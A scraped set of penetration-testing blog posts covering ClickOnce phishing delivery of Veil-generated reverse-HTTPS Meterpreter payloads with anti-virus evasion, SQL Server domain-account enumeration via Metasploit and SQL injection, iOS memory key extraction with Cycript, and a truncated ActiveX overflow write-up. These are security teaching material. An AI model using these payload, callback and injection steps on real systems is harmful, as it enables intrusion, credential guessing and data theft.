Back

All You Need Is One – A ClickOnce Love Story

During recent email phishing assessments, NetSPI has been making use of ClickOnce applications to deploy payloads effectively and efficiently to phishing victims through Internet Explorer. ClickOnce is a deployment method that allows an application administrator to create Windows-based applications and deploy them to specific users. This method also allows for simple updating of published applications on a user’s machine, without the worry of typical Java applet restrictions. There are multiple advantages to using ClickOnce to deploy and update applications:

  • Simple installation and updating
  • Minimal user interaction
  • Web browser deployment
  • Network or network file share installation
  • Easy to write a ClickOnce application

Although there are many legitimate advantages to using ClickOnce deployments, it also provides a vector for malicious actors to compromise user’s machines with just one click.

ClickOnce Introduction

ClickOnce is just a wrapper that sits around an executable that you would like to run on a user’s machine. It uses a trust architecture to determine the amount of interaction that is needed from a user before executing the included binary. By default, ClickOnce packages that come from My Computer, Local Intranet, IE Trusted Sites, and the Internet allow a user to grant the application temporary admin privileges in order to install. This is a feature: “But the most important new feature when it comes to security is … the end user can elevate permissions without the help of an administrator” – MSDN. The only category disabled by default is IE Untrusted Sites. These settings are controlled by a registry key found at:

\HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\.NETFramework\Security\TrustManager\PromptingLevel

Naturally, this technology fits right in with email phishing attacks, as by default, a user can grant an [insert malicious payload here] admin privileges to install/launch/exploit.

ZoneApplications
MyComputerEnabled
LocalIntranetEnabled
TrustedSitesEnabled
InternetEnabled
UntrustedSitesDisabled

ClickOnce App with Payload

As mentioned above, ClickOnce is just a convenient deployment method for the binary that you would like to execute. Visual Studio makes this task simple by including the ability to publish ClickOnce applications. Each ClickOnce Visual Studio project includes multiple files:

  • ProjectName.application
    • Contains the location of the manifest and application version information
  • ProjectName.exe.config.deploy
    • Contains application settings (i.e. connection strings, etc.)
  • ProjectName.exe.deploy
    • The (potentially malicious) executable that will be run by a user
  • ProjectName.exe.manifest
    • Manifest file containing application version, .NET versions supported, permission level requested, and signatures for the other files
    • Contains the file name for the executable

The easiest way to get ClickOnce to execute a payload of your choosing is to create a new console application using Visual Studio. This allows you to write your own code, not worry about a pop-up, and publish the resulting code (create the ClickOnce installer). Using some simple C# code, you can launch a process to execute an included obfuscated payload (ClickOnceInc.exe).

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;

namespace Example_Application
{

    static class Program
    {
        static void Main()
        {

            //Starting a new process executing the malicious exe
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = false;
            p.StartInfo.FileName = "ClickOnceInc.exe";
            p.Start();
        }
    }
}

Ensure that your application uses the correct version of .NET of the operating system you are targeting so the application runs properly. .NET supports backwards compatibility within each major version, allowing multiple operating systems to be targeted at once using one compiled project. For example, Windows Vista and Windows 7 can both be targeted with a .NET 3.0 binary since they both come by default with .NET 3.X installed. The same can be said for Windows 8 and Windows 10, where both can be targeted with a .NET 4.0 compiled project since they have .NET 4.5 and 4.6 installed by default respectively. Here, .NET 3.5 was chosen by navigating to the Application tab on the left, and selecting the Target Framework from the dropdown.

RG_ClickOnce_Img_1

Include your malicious executable into the Visual Studio Solution by clicking and dragging the executable over the project (ConsoleApplication1).

RG_ClickOnce_Img_2

Going into the properties of the console application, you can modify the ClickOnce settings within the Publish tab on the left. Make sure to change the Install Mode and Settings to “The application is available online only”. The Installation folder URL should be the URL the ClickOnce application will be downloaded from on the web server.

RG_ClickOnce_Img_3

Clicking on the Application Files… button, we get a popup showing the different files that will be created when the application is published. An important step here is to exclude the hash for the ClickOnceInc.exe. This will prevent the application from being signed and allows for the malicious executable to be changed without ClickOnce erroring out.

RG_ClickOnce_Img_4

Clicking on the Publishing Wizard button, click next through the dialogs to publish the application.

RG_ClickOnce_Img_5

This should build your application in the C:\testing directory. You should find the following files inside:

  • Application Files directory
  • Evil Survey.application
  • Publish.htm
  • Setup.exe

All of these files should be copied over to your web server and placed in a folder off of the web root. In this example, I use /var/www/examplesite/template/.

Since ClickOnce will take any Windows executable to run, there are many different options for payloads to use:

  • Roll your own
    • If you have your own exploit that can be run on a Windows box, this can be its time to shine.
  • Metasploit
    • Pro: Plenty of Meterpreter options (hint: use a reverse connection)
    • Con: Likely to get nabbed by AntiVirus
  • Veil
    • Pros:
      • Meterpreter payloads written in different languages
      • Encrypted payload – i.e. less likely to get caught by AV
    • Cons:
      • Static “random” Meterpreter callback

I decided to go with a Veil payload to avoid getting caught by AV at all costs, but this introduced a new problem; static random Meterpreter callbacks. Normally, when a Meterpreter executable is run, it generates a new random callback for the handler so it can be seen as a new and unique connection coming from a box. With Veil, the random callback has already been determined when Veil compiles the encrypted executable, so every time the Veil executable is run, it calls back with the same “random” callback. This is then ignored by the handler, as additional automated calls from the already compromised system, resulting in only one successful Meterpreter connection, no matter how many times the Veil payload is run on different computers. For more on how to generate a payload using Veil, reference my quick write-up.

The solution? Dynamically generating Veil payloads to be served to phished targets.

Web Server Setup

Remember that each ClickOnceInc.exe.deploy file needs to be uniquely generated in order for the Meterpreter callback to be handled properly by Metasploit. After publishing the ClickOnce application once, the same published project can be used as a template to be served up to each new victim. The only part that needs to change is the ClickOnceInc.exe.deploy file, which should be dynamically generated and replaced for each user. This would normally invalidate the hash signature within the .manifest file, causing the ClickOnce application to error out and not run our intended payload. However, when setting up the ClickOnce app in the above steps, we disabled the hashing for this specific file, allowing us to replace it with different executables without error.

In order to track users, the GET parameter uid is populated with information correlating each unique person to a uid value. This is then tracked by the server and used to generate unique payloads for each victim.

Web server payload delivery steps:

  1. Copy the template into uid specific directory
  2. Generate the Veil payload
  3. Replace the template ClickOnceInc.exe.deploy with newly generated payload
  4. Configure mod_rewrite to call ClickOnce

Copying ClickOnce template

When a user first visits the site with the uid GET parameter set, a new directory should be created using their uid value, and the contents of the template directory should be copied into this new directory. This creates a structured directory so the web server can easily locate the correct personalized payload for each user.

Disclaimer: You need to sanitize any user input (uid parameter) before using it. Always sanitize!

Generating Veil Payload

Veil-Evasion has the ability to be scripted, allowing for our webserver to make this call to generate the payload for each unique user. The 2> redirection to /dev/null prevents error messages generated by Veil-Evasion from being echoed to the screen.

/opt/Veil/Veil-Evasion/Veil-Evasion.py -p python/meterpreter/rev_https_contained -c LHOST=ip.ip.ip.ip LPORT=443 --overwrite -o 1111 2> /dev/null

Replacing ClickOnceInc.exe.deploy

The default output directory for the above step is: /tmp/veil-output/compiled. This compiled exe then needs to replace the “Application Files/evil_1_0_x_x/ClickOnceInc.exe.deploy” file for that user.

Mod_rewrite

Apache’s mod_rewrite module can change a web request from evil.app?uid=1111 to /base/1111/evil.app.

The following two lines from the Apache Virtual Host definition should accomplish the correct rewrite:

 RewriteCond %{QUERY_STRING} ^uid=(.*)$
RewriteRule ^/Project\.application  /base/%1/ Evil\ Survey.application? [R]

The /base/ is a directory relative to the webroot of your site. Utilizing this rewrite rule, you can include the following code in your phishing page source, which will launch the ClickOnce application.

 window.open("https://example.site.com/Evil Survey.application?uid=1111", "application");

This, after being rewritten by mod_rewrite, will request the following file from the server:

/var/www/examplesite/base/1111/Evil\ Survey.application

Using the steps above, the basic functionality to launch a ClickOnce attack is in place. All that is left is to build a convincing email and site around this and convince users to visit.

Exploitation

When the site launches the ClickOnce application, the user will see a couple of things:

The Launching Application pop-up:

RG_ClickOnce_Img_6

The ClickOnce dialog prompting the user to click Run. This popup displays the name of the application, the location it is being requested from, and the Publisher. Note that unsigned ClickOnce applications are not blocked by default, unlike unsigned Java applets.

RG_ClickOnce_Img_7

After the user clicks Run, the application downloads and runs:

RG_ClickOnce_Img_8

Watching our Metasploit MultiHandler, we see the victim computer connect back:

RG_ClickOnce_Img_9

Mitigation

There are multiple ways to prevent this attack from happening. The first is the most obvious: user education. User’s need to be aware and cognizant of phishing attack techniques and the proper steps to report these attacks.

Specific to ClickOnce, Group Policy is the best way to ensure these applications cannot be run. Using GPO, you can push down policies to modify the TrustManager settings, which controls if ClickOnce can be run from different trust zones in Internet Explorer. It is recommended to change the Internet zone to either “Disabled” or to “AuthenticodeRequired”. This will require the ClickOnce application to be signed with a valid signature before it is allowed to run.

Wrap Up

From here, persistence and escalation can begin. For user’s concerned with cleanup, the default path the ClickOnce applications get installed to is: C:\Users\userprofile\Local Settings\Apps\2.0. There will be a uniquely named folder for each ClickOnce application. Deleting this folder will remove the ClickOnce application from the machine. This blog is intended to document the inherent flaws in ClickOnce applications while presenting a viable PoC.

References

  • https://msdn.microsoft.com/en-us/library/cc176048(v=vs.90).aspx
  • https://msdn.microsoft.com/en-us/library/ee308453.aspx
  • https://msdn.microsoft.com/en-us/library/aa719097(v=vs.71).aspx#clickonce_topic8
Back

Hacking SQL Server Procedures – Part 4: Enumerating Domain Accounts

Introduction

In SQL Server, security functions and views that allow SQL logins to enumerate domain objects should only be accessible to sysadmins. However, in this blog I’ll show how to enumerate Active Directory domain users, groups, and computers through native SQL Server functions using logins that only have the Public server role (everyone). I’ll also show how to enumerate SQL Server logins using a similar technique. To make the attacks more practical I’ve also released PowerShell and Metasploit modules to automate everything via direct connections and SQL injection.

This blog should be interesting to pentesters, developers, and DevOps looking to gain a better understanding of what the practical attacks look like. I’ve also provided a lab setup guide, but I recommend skipping it unless you’re interested in trying this out at home.

Below is a summary of the topics being covered:

Setting up a Lab

Below I’ve provided some basic steps for setting up a Windows domain, SQL Server instance, and web server that can be used to replicate the scenarios covered in this blog.

Setting up the Domain and SQL Server

  1. Setup a Windows domain. Hopefully you already have a lab setup with a Windows domain/ADS. If not, you can follow the guide found below to get rolling.
    https://social.technet.microsoft.com/wiki/contents/articles/22622.building-your-first-domain-controller-on-2012-r2.aspx
  2. Add a server to the domain that can be used as the SQL Server. Below is a link to a how to guide.
    https://technet.microsoft.com/en-us/library/bb456990.aspx
  3. Download the Microsoft SQL Server Express version that includes SQL Server Management Studio and install it on the system just added to the domain. It can be downloaded from the link below.
    https://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
  4. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
  5. Enable the TCP protocol so that module can connect to the listener. If you’re not familiar with that process you can use the guide found at the link below.
    https://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx

Setting up the Database

1. Log into the SQL Server with the “sa” account setup during installation using the SQL Server Management Studio application.

2. Press the “New Query” button and use the TSQL below to create a database named “MyAppDb” for the lab.

-- Create database
CREATE DATABASE MyAppDb

3. Add a table with records.

-- Select the database
USE MyAppDb
-- Create table
CREATE TABLE dbo.NOCList (ID INT IDENTITY PRIMARY KEY,SpyName varchar(MAX) NOT NULL,RealName varchar(MAX) NULL)
-- Add sample records to table
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('James Bond','Sean Connery')
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('Ethan Hunt','Tom Cruise')
INSERT dbo.NOCList (SpyName, RealName)
VALUES ('Jason Bourne','Matt Damon')

4. Create a logins for the lab.

-- Create login for the web app and direct connection
CREATE LOGIN MyPublicUser WITH PASSWORD = 'MyPassword!';
ALTER LOGIN [MyPublicUser] with default_database = [MyAppDb];
CREATE USER [MyPublicUser] FROM LOGIN [MyPublicUser];
EXEC sp_addrolemember [db_datareader], [MyPublicUser];
-- Create login that should not be viewable to MyPublicUser
CREATE LOGIN MyHiddenUser WITH PASSWORD = 'MyPassword!';

5. Verify that the login only has the CONNECT privilege. The CONNECT privilege allows accounts to authenticate to the SQL Server instance.

-- Impersonate MyPublicUser
EXECUTE AS LOGIN = 'MyPublicUser'

-- List privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
GO

-- Revert back to sa
REVERT

Img C C C

6. Check server roles for the MyPublicUser login. You shouldn’t see any roles assigned to the “MyPublicUser login. This bit of code was grabbed from https://www.practicalsqldba.com/2012/08/sql-server-list-logins-database-and.html.

-- Impersonate MyPublicUser
EXECUTE AS LOGIN = 'MyPublicUser'

-- Check if the login is part of public
SELECT IS_SRVROLEMEMBER ( 'Public' )

-- Check other assigned server roles
SELECT PRN.name,
srvrole.name AS [role] ,
Prn.Type_Desc
FROM sys.server_role_members membership
INNER JOIN (SELECT * FROM sys.server_principals WHERE type_desc='SERVER_ROLE') srvrole
ON srvrole.Principal_id= membership.Role_principal_id
INNER JOIN sys.server_principals PRN
ON PRN.Principal_id= membership.member_principal_id WHERE Prn.Type_Desc NOT IN ('SERVER_ROLE')

REVERT

Setting up the Web Application

  1. Setup a local IIS server
  2. Make sure its configured to process asp pages
  3. Download testing.asp to the web root from:
    https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/testing2.asp
  4. Modify the db_server, db_name,db_username,and db_password variables in testing2.asp as needed.
  5. Verify the page works by accessing:
    https://127.0.0.1/testing2.asp?id=1
  6. Verify the id parameter is injectable and error are returned:
    https://127.0.0.1/testing2.asp?id=@@version

Enumerating SQL Server Logins Manually

Selecting all of the logins from the sys.syslogins view is restricted to sysadmins. However, logins with the Public role (everyone) can quickly enumerate all SQL Server logins using the “SUSER_NAME” function. The “SUSER_NAME” function takes a principal_id number and returns the associated security principal (login or server role). Luckily, principal_id numbers are assigned incrementally. The first login gets assigned 1, the second gets assigned 2, and so on. As a result, it’s possible to fuzz the principal_id to recover a full list of SQL Server logins and roles. However, it’s not immediately obvious which principals are roles and which are logins. Fortunately, the logins can be identified through error analysis of the native “sp_defaultdb” stored procedure. Once logins have been identified, they can be used in dictionary attacks that often result in additional access to the SQL Server.

Below is an overview of the manual process:

1. Log into SQL Server using the “MyPublicUser” login with SQL Server Management Studio.

2. To start things off verify that it’s not possible to get a list of all logins via standard queries. The queries below should only return a list of default server roles, the “sa” login, and the “MyPublicUser” login. No other logins should be returned.

SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals

3. Using the “SUSER_ID” function it’s possible to lookup the principal_id for any login. The example below shows how to lookup the principal_id for the “sa” login. It should be possible with any login that has the Public role (everyone).

SELECT SUSER_ID('sa')

4. To go the other way just provide the principal_id to the “SUSER_NAME” function . Below is a short example showing how it’s possible to view other logins. In this example, the “MyHiddenUser” login’s principal_id is 314, but it will be different in your lab.

SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
SELECT SUSER_NAME(314)

5. As I mentioned above, it’s also possible to determine which security principals are logins and which are roles by performing error analysis on the “sp_defaultdb” stored procedure. When you’re a sysadmin “sp_defaultdb” can be used to change the default database for a login. However, when you’re not a sysadmin the procedure will fail due to access restrictions. Lucky for us valid logins return different errors than invalid logins.For example, the “sp_defaultdb” stored procedure always returns a “15007” msg when an invalid login is provided, and a “15151” msg when the login is valid. Below are a few example screenshots.

6. After logins have been identified it’s possible to use tools like SQLPing3, Hydra, and the mssql_login module to perform online dictionary attacks against the SQL Server. Next, let’s take a look at some automation options.

Enumerating SQL Server Logins with PowerShell

The first script is written as a PowerShell module and can be used to enumerate SQL Logins via direct database connections. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Enum-SqlLogins.psm1.

The module can be imported with the PowerShell command below.

PS C:temp>Import-Module .Get-SqlServer-Enum-SqlLogins.psm1

After importing the module, the function can be run as the current Windows account or a SQL login can be supplied as shown below. My example returns many logins because my tests lab is messy, but at a minimum you should see the “MyHiddenUser” login that was created at the beginning of the lab guide.

Note: By default it fuzzes 300 principal_ids, but you can increase that with the “FuzzNum” parameter.

PS C:temp>Get-SqlServer-Enum-SqlLogins -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 1000

Enumerating SQL Server Logins with Metasploit

This module (mssql_enum_sql_logins) does the same thing as the PowerShell module, but is written for the Metasploit Framework. If you’ve updated Metasploit lately then you already have it. Below is a basic usage example.

Note: By default it fuzzes 300 principal_ids, but you can increase that with the “FuzzNum” parameter.

use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhost 10.2.9.101
set rport 1433
set fuzznumb 1000
set username MyPublicUser
set password MyPassword!
run

Now on to the good stuff…

Enumerating Domain Accounts

In Active Directory every user, group, and computer in Active Directory has a unique identifier called an RID. Similar to the principal_id, the RID is another number that is incrementally assigned to domain objects. For a long time it’s been possible to enumerate domain users, groups, and computers by fuzzing the RIDs via RPC calls using the “smb_lookupsid” module in Metasploit written by H.D. Moore. The technique I’ve put together here is almost exactly the same, but executed through the SQL Server function “SUSER_SNAME”. As it turns out, when a full RID is supplied to the “SUSER_SNAME” function it returns the associated domain account, group, or computer name. Below I’ll walk through the manual process.

Note: As a side note “SUSER_SNAME” function can also be used to resolve SQL Login using their SID.

Manual Process for Enumerating Domain Accounts

1. Once again, log into SQL Server using the “MyPublicUser” login with SQL Server Management Studio.

2. To start things off verify that it’s not possible to execute stored procedures that provide information about domain groups or accounts. The queries below attempts to use the “xp_enumgroups” and “xp_logininfo” stored procedures to get domain group information from the domain associated with the SQL Server. They should fail, because they’re normally only accessible to member of the sysadmin server role.

EXEC xp_enumgroups 'DEMO';
EXEC xp_logininfo 'DEMODomain Admins', 'members';

3. Ok, on with the show. As an attacker that knows nothing about the environment we’ll need to start by getting the domain name of the SQL Server using the query below.

SELECT DEFAULT_DOMAIN() as mydomain;

4. Next we need to use the “SUSER_SID” function to get a sample RID from the domain of the SQL Server. You can use any default domain users or group. In the example below I’ve used “Domain Admins”.

SELECT SUSER_SID('DEMODomain Admins')

5. Once a full RID has been obtained we can to extract the domain SID by grabbing the first 48 bytes. The domain SID is the unique identifier for the domain and the base of every full RID. After we have the SID we can start building our own RIDs and get fuzzing.

RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

6. To my knowledge domain users start with the RID 500. So we’ll have to increment from there. However, you may have noticed that the SID is hex encoded. So we’ll have to convert the RID to hex and add the proper padding. Just for fun I’ll use calc.exe for the example. Start Windows calc.exe, click view, and then click programmer mode. Enter 500.

7. Convert the number to hex by clicking in the hex radio button.

8. Make sure the hex is properly formatted. In this case we need to add a 0 to the front.
01F4

9. Reverse the order of the hex values to ensure they are interpreted correctly by SQL Server. Big thanks to Antti Rantasaari and Eric Gruber for helping me figure out they needed to be flipped.
F401

10. Pad the number out to 8 bytes using 0s.
F4010000

11. Concatenate the domain SID and RID.
0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

12. Now we have a new RID that can be fed into the “SUSER_NAME” function to get the associated domain account, group, or computer as shown below.

SELECT SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000)

Tada! Now just repeat that 10,000 or more times and you should be on your way to a full list of domain accounts.

13. Once you have the domain account list, you can conduct online dictionary attacks and attempt to guess the passwords for every account in the domain. During most penetration tests we only have to use a handful of passwords to gain initial access. Those passwords usually include some variation of the following:

  • SeasonYear
  • CompanyNumber
  • PasswordNumber

Once we’ve guessed some passwords correctly, they can be used to login through administrator interfaces and applications.

If you’re not a pentesters it may seem crazy, but once you have a full list of domain accounts a full domain takeover is pretty likely. For those of you who are less familiar with domain escalation techniques checkout Google, the NetSPI blog, or www.harmj0y.net (lots of fun projects).

Alright, on to the automation…

Enumerating the Domain Accounts with PowerShell

This PowerShell module can be used to enumerate Windows domain accounts, groups, and computers via direct database connections. It can be downloaded from https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Get-SqlServer-Enum-WinAccounts.psm1

The module can be imported with the PowerShell command below.

PS C:temp>; Import-Module .Get-SqlServer-Enum-WinAccounts.psm1

After importing the module, the function can be run as the current Windows account or a SQL login can be supplied as shown below.

Note: By default it fuzzes 1000 principal_ids, but you can increase that with the “FuzzNum” parameter. I suggest 10000 or above for any company that not a “mom and pop” shop.

PS C:temp>Get-SqlServer-Enum-WinAccounts -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 10000

Enumerating the Domain Admins with Metasploit

This module (mssql_enum_domain_accounts) does the same thing as the PowerShell module, but it’s written for the Metasploit Framework. If you’ve updated Metasploit lately then you already have it.  Big thanks go out to Juan Vazquez, Tod Beardsley, and the rest of the Metasploit team for helping me get the two modules into the framework!

This is most useful during internal network penetration tests after a SQL Server login has been guessed. However, it only gives the attacker an advantage if they don’t already have a domain account that can be used to enumerate domain objects via RPC or LDAP queries.

Note: For the test set the fuzznum to 1000, but you would set it to 10000 or above in a real environment.

Below is a basic usage example.

use auxiliary/admin/mssql/mssql_enum_domain_accounts
set rhost 10.2.9.101
set rport 1433
set username MyPublicUser
set password MyPassword!
set fuzznum 10000
run

Enumerating the Domain Admins with Metasploit via SQL Injection

This is the good one. This module (mssql_enum_domain_accounts_sqli) is also written in for Metasploit and takes the attack a step further by executing it through an error based SQL injection. If you’ve updated Metasploit lately then you already have it.

This is most useful during external network penetration tests, because getting a full list of domain accounts, groups, and computers isn’t always easy when social engineering is out of scope. As I mentioned before, once you have the account list it can be used to perform online dictionary attacks, and the guessed password can be used to login through interfaces like Citrix, Remote Desktop Web Access, and VPN without two-factor (it’s a thing).

Note: This module requires that you have already identified the SQL injection ahead of time. Also, make sure to set the FuzzNum parameter to 10000 or above in a real environment.

Below is a basic usage example.

use auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
set rhost 10.2.9.101
set rport 80
set GET_PATH /employee.asp?id=1+and+1=[SQLi];--
run

Wrap Up

In this blog I tried to illustrate how the “SUSER_NAME” and SUSER_SNAME” functions could be abused by logins with the Public server role.   Hopefully it’s been useful and helped provide a better understanding of how simple functions can be used to access information not intended by the access control model.   Have fun with it, and don’t forget to hack responsibly. 🙂

Other Blogs in this Series

References

Back

iOS Tutorial – Dumping the Application Memory Part 2

In my previous blog, iOS Tutorial – Dumping the Application Heap from Memory, I covered how to dump sensitive information from the heap of an iOS application using GDB. This time we will be covering how to use Cycript to accomplish the same goal but using the class-dump-z output to specifically pull out properties or instance variables. This round will be in a more automated fashion by automatically parsing a class dump of the binary and generating the necessary Cycript scripts to pull the specific properties from memory. I will also be releasing another tool to do all of this for you in the near future. Keep an eye on our NetSPI GitHub repo for the latest tools and scripts for when we release it.

If we do not have access to the source code then we must first decrypt the binary. We do this first to dump the class information about the binary. There are several guides out there for decryption but Clutch is my go-to tool for ease of use as it also regenerates an IPA file with the decrypted binary in it so you can install it again on a different device if you have to. After we extract/install the new decrypted binary, we can now run class-dump-z to get the header information with all the classes, properties, class methods, instance methods, etc.

MAPen-iPad-000314:~ root# ./class-dump-z -z TestApp

[TRUNCATED]

@interface CryptoManager : XXUnknownSuperclass {
@private
	NSData* key;
}
@property(retain, nonatomic) NSData* key;
+(id)CryptoManager;
-(id)init;
-(id)cipher:(id)cipher key:(id)key context:(unsigned)context;
-(id)cipher:(id)cipher key:(id)key context:(unsigned)context withIV:(BOOL)iv;
-(id)cipher:(id)cipher key:(id)key context:(unsigned)context withIV:(BOOL)iv usingIV:(id)iv5;
-(id)cipher:(id)cipher key:(id)key context:(unsigned)context withIV:(BOOL)iv usingIV:(id)iv5 withPad-ding:(BOOL)padding;
-(void)clearKey;
-(void)dealloc;
-(id)decryptData:(id)data;
-(id)decryptData:(id)data usingIV:(id)iv;
-(id)decryptData:(id)data usingIV:(id)iv withPadding:(BOOL)padding;
-(id)decryptData:(id)data withIV:(BOOL)iv;
-(id)decryptData:(id)data withIV:(BOOL)iv withHeader:(BOOL)header;
-(id)decryptData:(id)data withKey:(id)key;
-(id)decryptString:(id)string;
-(id)decryptString:(id)string withIV:(BOOL)iv;
-(id)decryptString:(id)string withIV:(BOOL)iv withHeader:(BOOL)header;
-(id)decryptString:(id)string withIV:(BOOL)iv withHeader:(BOOL)header withKey:(id)key;
-(id)decryptString:(id)string withKey:(id)key;
-(id)encryptData:(id)data;
-(int)encryptData:(id)data AndAppendToFileAtPath:(id)path initiatedByUnlockOperation:(BOOL)operation error:(id*)error;
-(id)encryptData:(id)data usingIV:(id)iv;
-(id)encryptData:(id)data withKey:(id)key;
-(id)encryptString:(id)string;
-(id)encryptString:(id)string withKey:(id)key;
-(id)hashString:(id)string;
-(id)hashString:(id)string salt:(id)salt;
-(BOOL)isHashOfString:(id)string equalToHash:(id)hash;
-(BOOL)isHeaderValid:(id)valid;
-(id)newHeader;
-(unsigned long)readEncryptedData:(void**)data atPath:(id)path offset:(long)offset length:(unsigned long)length initiatedByUnlockOperation:(BOOL)operation error:(id*)error;
@end

[TRUNCATED]

So you can see above that TestApp has a class called “CryptoManager” and has a property called “key”. This looks interesting as there could be an encryption key sitting there in memory. We will now use Cycript to grab that specific property from memory. Note during runtime, the “CryptoManager” class is instantiated before login but only after a valid user has successfully logged in once before on the device. Also, the class is never cleared out even when it is no longer needed, such as a user logged out, which is where the vulnerability lies. In this instance, we have already logged in successfully during a previous session and therefore the class is already in memory before the user logs in.

First we will hook into the running TestApp process from an SSH session so we can leave the application running on the iOS device.

MAPen-iPad-000314:~ root# cycript -p TestApp
cy#

Now that we are hooked in, let’s go ahead and talk about the “choose” method in cycript. The “choose” method scans the heap for the matching class name and returns an array of objects that match that class’ structure. So, if we type “choose(MyClass)”. It is going to contain an indexed array of all instantiated classes of MyClass that are currently in memory (or that match that structure). The below output is just calling out the first indexed object which is index “0” and storing it into a variable called “a”. If you like GDB more, we can also take the memory location returned and go back to GDB for dumping out everything from that sub-region in memory or set breakpoints and watch the registers. See my previous blog on how to scan the heap here (https://blog.netspi.com/ios-tutorial-dumping-the-application-heap-from-memory/). Note however, that there can be more than one class instantiated in this array and you will to go through each index to get the properties of that instantiated class.

cy# a=choose(CryptoManager)
[#"< CryptoManager: 0x17dcc340&gt;",#"&lt; CryptoManager: 0x17f42ba0>"] 

Now let’s dump the “key” property from memory so we can grab the key and decrypt any data in the app later on.

cy# a[0].key.hexString
@"6D2268CFFDDC16E890B365910543833190C9C02C4DCA2342A9AEED68428EF9B6"

Bingo! We now have the hexadecimal of the key we need to decrypt anything this application wants to keep encrypted.

Now let’s talk about how to automate this and go over what we know and what we have to figure out programmatically as we go. We know that the class-dump-z output contains the output of all the classes and their properties. What we don’t know is whether or not those classes are currently instantiated or not. We also don’t know how many times the classes are instantiated in memory. What we can do is parse the class-dump-z output and create a map of classes and their properties. Now that we have a map we can now create Cycript scripts to pull the information out for us. Note however, that this technique is for classes that are already instantiated and we won’t be covering how to make a new instance of an object in Cycript as there are many tutorials and books on how to do this.

So we have to read Cycript’s output from the choose method to figure out how many times the object is instantiated in memory. To do that we can use JavaScript to get the array length:

cy# choose(CryptoManager).length
2
cy#

Cool, now we know how many times to loop through the array to pull out all instantiated “CryptoManager” objects. Now let’s move on to cycript scripting.

Cycript can take a script as a parameter and a basic script just has to contain the commands we want to run like so:

MAPen-iPad-000314:~ root# cat dump.cy
a=choose(CryptoManager)[0]
a.key.hexString

MAPen-iPad-000314:~ root# cycript -p TestApp dump.cy
@"6D2268CFFDDC16E890B365910543833190C9C02C4DCA2342A9AEED68428EF9B6"

One issue that I can’t seem to figure out is Cycript only returns the last line of output to the terminal when you run a script and doesn’t return all output. So to pull out multiple classes and their properties from the terminal, you have to create a new script for each class and property combination.  If anyone knows how to get around this limitation, please feel free to reach out to me on how to accomplish this. Or you can write everything in Cycript JavaScript if that is your preferred language.

Thanks for reading and hack responsibly

Back

ActiveX + XSS = ActiveXSS Pwnage!

On a recent web application penetration test, the in-scope web apps were running several ActiveX plugins. I’ve seen several ActiveX exploits published, but never looked into them. In this particular engagement, I found several XSS vulnerabilities. I thought it would be interesting to see if I could combine or chain a XSS vuln with an ActiveX exploit to illustrate ultimate client-side pwnage in a targeted attack. I decided to research and target one of the ActiveX plugins based soley on the vendor…and their reputation for bad programming.

First of all, a little background on ActiveX. When an ActiveX plugin is installed, a unique class ID for that ActiveX object is created and installed in the registry. You can look up this class ID by simply viewing the HTML of the web page calling the ActiveX object. We’ve all seen the pop-up or permission request to install an ActiveX plugin in IE. After installing the plugin, an OCX, EXE or DLL is installed and using vbscript, the web page can call the C/C++ functions exported by the OCX or DLL, or run the EXE. Here’s an example of what you might see in the HTML.

<OBJECT CLASSID="CLSID:FD0991-6411-49CB-91C0-6AAFEF7411AA" ID="TARGET" HEIGHT="0" WIDTH="0">
<script language='vbscript'>
    arg1 = "HelloWorld"
    TARGET.FunctionToCall ArgToPass
</script>

In this example, we call the ActiveX plugin using the OBJECT tag and specifying the CLASSID attribute. The ID attribute is later used in the vbscript to access the ActiveX object and call the exported functions. So, what can we do with this? Let’s find out.

First, I fired up ComRaider. ComRaider is a cool little fuzzer that will load ActiveX objects and fuzz each function that it exports. It requires the DLL/OCX that you’d like to fuzz. To find the appropriate DLL/OCX/EXE, I checked the HTML for the class ID and did a quick registry search to find which file is referenced through the class ID. Based on the previous HTML, the registry key would be:

HKEY_CLASSES_ROOT\CLSID\{FD0991-6411-49CB-91C0-6AAFEF7411AA}\InprocServer32\

Within that key, there’s a string value named (Default) showing the DLL that is loaded when the class ID is called. So, using the location of the DLL, we can go to ComRaider, feed it the location of the DLL, and start fuzzing the exported functions and libraries. ComRaider is a pretty easy program to use, so I won’t spend time reviewing how to use it, but the screenshot of my results. I blacked out the details of the DLL being fuzzed because as far as I know it has not been reported and is still unpatched.

The main things to note are the Exceptions column listing the exceptions from running the specified test case, and then below you can see the ACCESS_VIOLATION at address 0x41414141!  So it looks like ComRaider fuzzed the function by passing a bunch of A’s (0x41) as arguments causing a buffer overflow and the access violation.

The next step was to weaponize the exploit and make a cool demo video! First, to weaponize the exploit I decided to stick with XP SP3. I know, I know…it’s old, but my goal was to illustrate the effect, not be a ninja. ComRaider saves all the test case files (.wsf files), so I pulled out the code causing the crash, converted it to HTML, and threw it at IE.

